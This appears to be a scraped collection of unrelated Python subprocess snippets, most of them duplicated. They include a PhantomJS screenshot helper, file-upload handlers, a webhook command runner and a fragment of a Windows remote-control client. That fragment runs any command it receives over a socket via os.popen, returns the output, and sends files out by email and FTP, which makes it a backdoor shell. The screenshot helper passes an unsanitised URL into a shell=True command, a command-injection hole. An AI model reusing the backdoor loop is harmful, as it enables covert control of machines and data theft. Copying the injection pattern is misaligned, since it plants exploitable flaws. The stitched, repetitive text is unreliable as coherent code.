def urltoimg(url): stdout = Popen("bin/phantomjs screencapture.js " + url, stdout=PIPE, shell=True).stdout.read() print str( datetime.now()) + ' - filename stored(stdout phantomjs): ' + stdout sys.stdout.flush() return 'capture-' + stdout.encode('utf-8').strip() + '.png'
def put(self, arg): filename = base64.urlsafe_b64encode(hashlib.sha256(self.request.body).digest()).decode('utf-8') with open(os.path.join('files',filename),"wb") as f: f.write(self.request.body) attrs = xattr.xattr(f) mimetype = Popen(["file", "-b","--mime-type", f.name], stdout=PIPE).communicate()[0].decode('utf8').strip() attrs['user.Content-Type'] = mimetype.encode('utf-8') attrs['user.filename'] = arg.encode('utf-8') self.write('http://h45h.com/{}\n'.format(filename))
def put(self, arg): filename = base64.urlsafe_b64encode( hashlib.sha256(self.request.body).digest()).decode('utf-8') with open(os.path.join('files', filename), "wb") as f: f.write(self.request.body) attrs = xattr.xattr(f) mimetype = Popen( ["file", "-b", "--mime-type", f.name], stdout=PIPE).communicate()[0].decode('utf8').strip() attrs['user.Content-Type'] = mimetype.encode('utf-8') attrs['user.filename'] = arg.encode('utf-8') self.write('http://h45h.com/{}\n'.format(filename))
def post(self, arg): file_body = self.request.arguments.get('data')[0] if not file_body: self.finish() return filename = base64.urlsafe_b64encode(hashlib.sha256(file_body).digest()).decode('utf-8') with open(os.path.join('files', filename), "wb") as f: f.write(file_body) f.flush() attrs = xattr.xattr(f) mimetype = Popen(["file", "-b","--mime-type", f.name], stdout=PIPE).communicate()[0].decode('utf8').strip() attrs['user.Content-Type'] = mimetype.encode('utf-8') self.write('<html><body><a href="http://h45h.com/{}"></body></html>{}'.format(filename,filename))
def post(self, arg): file_body = self.request.arguments.get('data')[0] if not file_body: self.finish() return filename = base64.urlsafe_b64encode( hashlib.sha256(file_body).digest()).decode('utf-8') with open(os.path.join('files', filename), "wb") as f: f.write(file_body) f.flush() attrs = xattr.xattr(f) mimetype = Popen( ["file", "-b", "--mime-type", f.name], stdout=PIPE).communicate()[0].decode('utf8').strip() attrs['user.Content-Type'] = mimetype.encode('utf-8') self.write( '<html><body><a href="http://h45h.com/{}"></body></html>{}'.format( filename, filename))
elif os.name == "nt": while True: data = client.recv(1024).decode() if data == "screen": screenshot.shot() share_dir = r'C:\Windows\Temp' filename = "screenshot.bmp" send_win(share_dir, filename) elif data == "sendmail": getfile_email.geeet("*****@*****.**") client.send(b"success") elif data == "sendftp": getfile_ftp.geeet(target_host) client.send(b"success") elif data == "quit": break elif data == "upload": # client.send(b"please input filename:") recccc() elif data == "download": ff = client.recv(1024).decode() bb = client.recv(1024).decode() send_win(ff, bb) else: # proc = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # proc = proc.stdout.read() + proc.stderr.read() proc = os.popen(data).read() client.send(proc.encode()) client.close()
def receive(cfg_name): # Init loggers error_logger = utils.spawn_logger(cfg_name, 'error') info_logger = utils.spawn_logger(cfg_name, 'info') # Dictionary from request.data, from json to native payload = json.loads(request.data) # For cases when exception raised before on_error defined from `config` on_error = lambda *args: None try: cfg = getattr( __import__('config.%s' % cfg_name, globals(), locals(), level=-1), cfg_name) # Hooks ref_not_fit = getattr(cfg, 'ref_not_fit', lambda *args: None) on_command = getattr(cfg, 'on_command', lambda *args: None) on_error = getattr(cfg, 'on_error', lambda *args: None) # Config variables path = utils.get_variable(cfg, 'PATH', '', lambda p: not p or not os.path.exists(p), 'PATH does not exists') refs = utils.get_variable(cfg, 'REFS', [r'.*'], lambda r: not isinstance(r, list), 'REFS must be a list') commands = utils.get_variable( cfg, 'COMMANDS', [], lambda c: not isinstance(c, list), 'Define COMMANDS variable, else nothing happens') for ref in refs: refExpr = re.compile(ref, re.IGNORECASE) if refExpr.match(payload['ref']) is None: # Log message about ref does not feet and exit ref_not_fit(ref, payload) info_logger.info('Ref does not fit') return '' for command in commands: # Variables from payload, access as repository[name] command.format(**payload) on_command(command, payload) # Execute current command and log out and errors out, err = Popen( command, shell=True, cwd=os.path.join(PATH, cfg.PATH), # close_fds=True, stdout=PIPE, stderr=PIPE).communicate() if out: try: info_logger.info(out.encode('utf8')) except UnicodeDecodeError: pass if err: try: error_logger.error(err.encode('utf8')) except UnicodeDecodeError: pass except Exception, e: on_error(e, payload) error_logger.error(str(e))
def receive(cfg_name): # Init loggers error_logger = utils.spawn_logger(cfg_name, 'error') info_logger = utils.spawn_logger(cfg_name, 'info') # Dictionary from request.data, from json to native payload = json.loads(request.data) # For cases when exception raised before on_error defined from `config` on_error = lambda *args: None try: cfg = getattr(__import__('config.%s' % cfg_name, globals(), locals(), level=-1), cfg_name) # Hooks ref_not_fit = getattr(cfg, 'ref_not_fit', lambda *args: None) on_command = getattr(cfg, 'on_command', lambda *args: None) on_error = getattr(cfg, 'on_error', lambda *args: None) # Config variables path = utils.get_variable(cfg, 'PATH', '', lambda p: not p or not os.path.exists(p), 'PATH does not exists') refs = utils.get_variable(cfg, 'REFS', [r'.*'], lambda r: not isinstance(r, list), 'REFS must be a list') commands = utils.get_variable(cfg, 'COMMANDS', [], lambda c: not isinstance(c, list), 'Define COMMANDS variable, else nothing happens') for ref in refs: refExpr = re.compile(ref, re.IGNORECASE) if refExpr.match(payload['ref']) is None: # Log message about ref does not feet and exit ref_not_fit(ref, payload) info_logger.info('Ref does not fit') return '' for command in commands: # Variables from payload, access as repository[name] command.format(**payload) on_command(command, payload) # Execute current command and log out and errors out, err = Popen(command, shell=True, cwd=os.path.join(PATH, cfg.PATH), # close_fds=True, stdout=PIPE, stderr=PIPE).communicate() if out: try: info_logger.info(out.encode('utf8')) except UnicodeDecodeError: pass if err: try: error_logger.error(err.encode('utf8')) except UnicodeDecodeError: pass except Exception, e: on_error(e, payload) error_logger.error(str(e))
def urltoimg(url): stdout = Popen("bin/phantomjs screencapture.js "+url, stdout=PIPE, shell=True).stdout.read() print str(datetime.now())+' - filename stored(stdout phantomjs): '+stdout sys.stdout.flush() return 'capture-'+stdout.encode('utf-8').strip()+'.png'